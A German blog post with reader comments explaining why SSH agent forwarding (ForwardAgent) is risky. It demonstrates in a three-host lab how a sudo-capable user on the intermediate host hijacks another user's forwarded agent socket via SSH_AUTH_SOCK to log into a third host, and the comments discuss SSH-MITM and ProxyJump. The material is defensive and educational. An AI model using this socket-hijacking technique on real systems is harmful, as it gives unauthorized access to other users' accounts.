In diesem Artikel möchte ich diskutieren, ob die Nutzung der SSH-Client-Option ForwardAgent
sicher und sinnvoll ist. Wie so häufig bei Themen der IT-Sicherheit geht es auch hier um die Abwägung zwischen Sicherheit und Bequemlichkeit.
Der SSH-Agent nimmt den privaten SSH-Schlüssel auf und stellt diesen für SSH-Verbindungen bereit, so dass nicht bei jeder neuen SSH-Verbindung die Passphrase eingegeben werden muss.
Dabei wird ein UNIX-Socket erstellt und in der Variablen SSH_AUTH_SOCK
gespeichert. Der folgende Code zeigt dies beispielhaft:
$ echo $SSH_AUTH_SOCK
/run/user/1000/keyring/ssh
In der ssh_config(5) findet sich die Option ForwardAgent
, mit deren Hilfe der SSH-Agent auf einen entfernten Rechner weitergeleitet werden kann. Ist diese Funktionalität aktiv, kann man sich mit dem im SSH-Agenten gespeicherten privaten SSH-Schlüssel zu einem entfernten Rechner verbinden und von dort aus unter Nutzung des gleichen Schlüssels Verbindungen zu weiteren Rechnern aufbauen.
In den meisten Linux-Distributionen ist diese Option standardmäßig deaktiviert, da sie ein potenzielles Sicherheitsrisiko darstellt. Gelingt es einem Benutzer, die Dateiberechtigungen auf dem entfernten Rechner zu umgehen, kann er den lokalen Agenten benutzen, um Operationen durchzuführen, die nur mit dem im SSH-Agenten gespeicherten SSH-Schlüssel möglich sind. Ich möchte dies im Folgenden an einem Beispiel veranschaulichen.
Die Umgebung
Für den Versuch kommen die drei Linux-Rechner host-a, host-b und host-c zum Einsatz. Auf allen drei Hosts existiert der User foo, welcher mittels sudo
zum root werden kann. Darüber hinaus existiert auf host-b User bar, welcher ebenfalls mittels sudo
zum root werden darf.
Gezeigt wird, wie bar durch Wechsel in den Kontext des Users root die Dateiberechtigungen für den Unix-Socket des SSH-Agenten von foo umgehen kann, um mit dessen Informationen eine SSH-Verbindung zu host-c herzustellen, was ihm sonst nicht gestattet ist.
Der Versuchsablauf
In diesem Abschnitt wird der Ablauf wiedergegeben, der dazu führt, dass bar Zugriff als foo auf host-c bekommt.
host-a
Auf host-a existiert ein Unix-Socket für den SSH-Agenten. Der User foo nutzt diesen, um eine Verbindung zu host-b aufzubauen. Dabei wird die Option ForwardAgent
aktiviert:
foo@host-a:~$ echo $SSH_AUTH_SOCK
/run/user/1000/keyring/ssh
foo@host-a:~$ ssh -o ForwardAgent=yes host-b
[...]
foo@host-b:~$
host-b
Wir sind jetzt via SSH als User foo auf dem host-b eingeloggt. Da wir die Weiterleitung des SSH-Agenten aktiviert haben, existiert jetzt auch hier ein entsprechender Unix-Socket. Die Dateiberechtigungen sind so gesetzt, dass nur foo darauf zugreifen darf. Der folgende Codeblock veranschaulicht dies.
foo@host-b:~$ echo $SSH_AUTH_SOCK
/tmp/ssh-fxwQXNlZrS/agent.32579
foo@host-b:~$ ls -ld /tmp/ssh-fxwQXNlZrS
drwx------ 2 foo foo 4096 Nov 24 14:47 /tmp/ssh-fxwQXNlZrS
foo@host-b:~$ ls -l /tmp/ssh-fxwQXNlZrS/agent.32579
srwxr-xr-x 1 foo foo 0 Nov 24 14:47 /tmp/ssh-fxwQXNlZrS/agent.32579
Neben foo ist auch User bar auf host-b eingeloggt. Die Variable SSH_AUTH_SOCK
dieses Users ist leer und bar wird beim Versuch, sich mit host-c zu verbinden, zur Eingabe eines Passworts aufgefordert.
bar@host-b:~$ echo $SSH_AUTH_SOCK
bar@host-b:~$ ssh foo@host-c
foo@host-c's password:
bar@host-b:~$ ls -l /tmp
drwx------ 2 foo foo 4096 Nov 24 14:56 ssh-fxwQXNlZrS
bar@host-b:~$ ls -l /tmp/ssh-fxwQXNlZrS
ls: cannot open directory '/tmp/ssh-fxwQXNlZrS/': Permission denied
Da bar das Kennwort von foo unbekannt ist, geht es auf diesem Weg nicht weiter. Jedoch kann bar erkennen, dass auf dem System ein Unix-Socket mit einem SSH-Agenten für foo existiert. Der nun folgende Codeblock zeigt, wie bar über einen Umweg den SSH-Agenten von foo nutzt, um sich mit host-c zu verbinden.
bar@host-b:~$ sudo -i
[sudo] password for bar:
root@host-b:~# ssh foo@host-c
foo@host-c's password:
root@host-b:~# SSH_AUTH_SOCK=/tmp/ssh-fxwQXNlZrS/agent.32579
root@host-b:~# export SSH_AUTH_SOCK
root@host-b:~# ssh foo@host-c
[...]
foo@host-c:~$
Der User bar hat es geschafft, sich als foo an host-c zu authentifizieren. Das ist foobar!
Schlussfolgerung
Der hier durchgeführte Versuch zeigt, dass die Option ForwardAgent
ein Sicherheitsrisiko birgt, wenn es auf einem entfernten System Benutzer gibt, welche die Dateiberechtigungen, wie in diesem Artikel gezeigt, umgehen können.
Ich empfinde es daher als gut und sinnvoll, dass diese Option standardmäßig deaktiviert ist.
Kann man jedoch ausschließen, dass die Dateiberechtigungen umgangen werden, z. B. weil keine weiteren Nutzer auf dem entfernten Rechner existieren bzw. auf diesen zugreifen können, spricht in meinen Augen nichts dagegen, diese Option zu nutzen und sich den Alltag etwas komfortabler zu gestalten.
Agent Forwarding sollte ausnahmslos als Sicherheitsrisiko eingestuft werden. Es gibt mittlerweile Tools, mit denen ein Man in the Middle Angriff sehr einfach möglich ist.
Ein Beispiel ist SSH-MITM https://github.com/ssh-mitm/ssh-mitm
Soll Agent Forwarding sicher betrieben werde, kann es sogar komplizierter werden, als ein Arbeiten ohne.
Ich würde daher Ihren Lesern empfehlen Agent Forwarding nicht mehr zu verwenden.
Funktioniert das wirklich?
Bezieht sich deine Frage auf meinen Artikel oder den Kommentar von Sebastian?
Der Artikel beschreibt unter welchen Rahmenbedingungen eine Übernahme möglich ist. Der Beitrag von Sebastian klingt plausibel. Ich werde das bei Gelegenheit in einer Labor-Umgebung versuchen nachzustellen.
Wenn allerdings ‚ForwardAgent‘ deaktiviert ist, ist man gezwungen seinen privat-Key auf alle möglichen Rechner zu packen, von denen man eine ssh-Verbindung aufbauen will (die per Key authentifiziert wird).
Wenn die Dateirechte umgangen werden können, kann auch so ein Key kopiert werden. Dann ist es nur noch eine Frage der Zeit, bis die Passphrase gefunden wurde.
Die Frage nach dem geringer Übel ….
Hallo Robert,
Danke für deinen Kommentar.
Du hast recht, dass es eine Frage des geringeren Übels ist. In die Antwort spielt z.B. mit ein, ob man der alleinige Benutzer der Systeme ist, ob es mehrere Nutzer gibt und ob und wie viele root-Rechte besitzen bzw. mit `sudo` erlangen können.
Deinen privaten Schlüssel schützen im Optimalfall Dateiberechtigungen und eine starke Passphrase. Im Fall des ForwardAgent reicht das Umgehen der Dateiberechtigungen.
Ich finde es gut, wenn man hier eine bewusste Entscheidung trifft und sich der Folgen bewusst ist. Unwissend eine suboptimale Standardeinstellung zu akzeptieren, ist in jedem Fall nicht so gut.
Viele Grüße
Jörg
Nein, den Private-Key zu verteilen ist auf gar keinen Fall eine bessere und niemals eine gute Idee.
Stattdessen sollte man sich direkt zum Zielhost verbinden, falls das nicht geht hilft ein VPN oder die ProxyJump-Funktion von SSH (sehr komfortabel auch mit einer ssh_config nutzbar). So wird der zwischengeschaltete Server lediglich zum weiterleiten des Datenverkehrs genutzt, hat aber nicht die Möglichkeit den SSH-Agent beliebig zu nutzen.
Ja, dabei ist wichtig, dass der ProxyJump-Host tatsächlich ausschließlich als solcher genutzt wird und nicht gleichzeitig die interaktive Anmeldung erlaubt, um darauf zu arbeiten. Letzteres ist leider ein mir nicht unbekanntes Konzept, welches ich weiter oben im Hinterkopf hatte.
Nutzt man hingegen einen reinen ProxyJump-Host, ist dies in Kombination mit einem SSH-Agenten und einer guten ssh_config in der Tat eine komfortable und hinreichend sichere Sache.
Viele Grüße
Jörg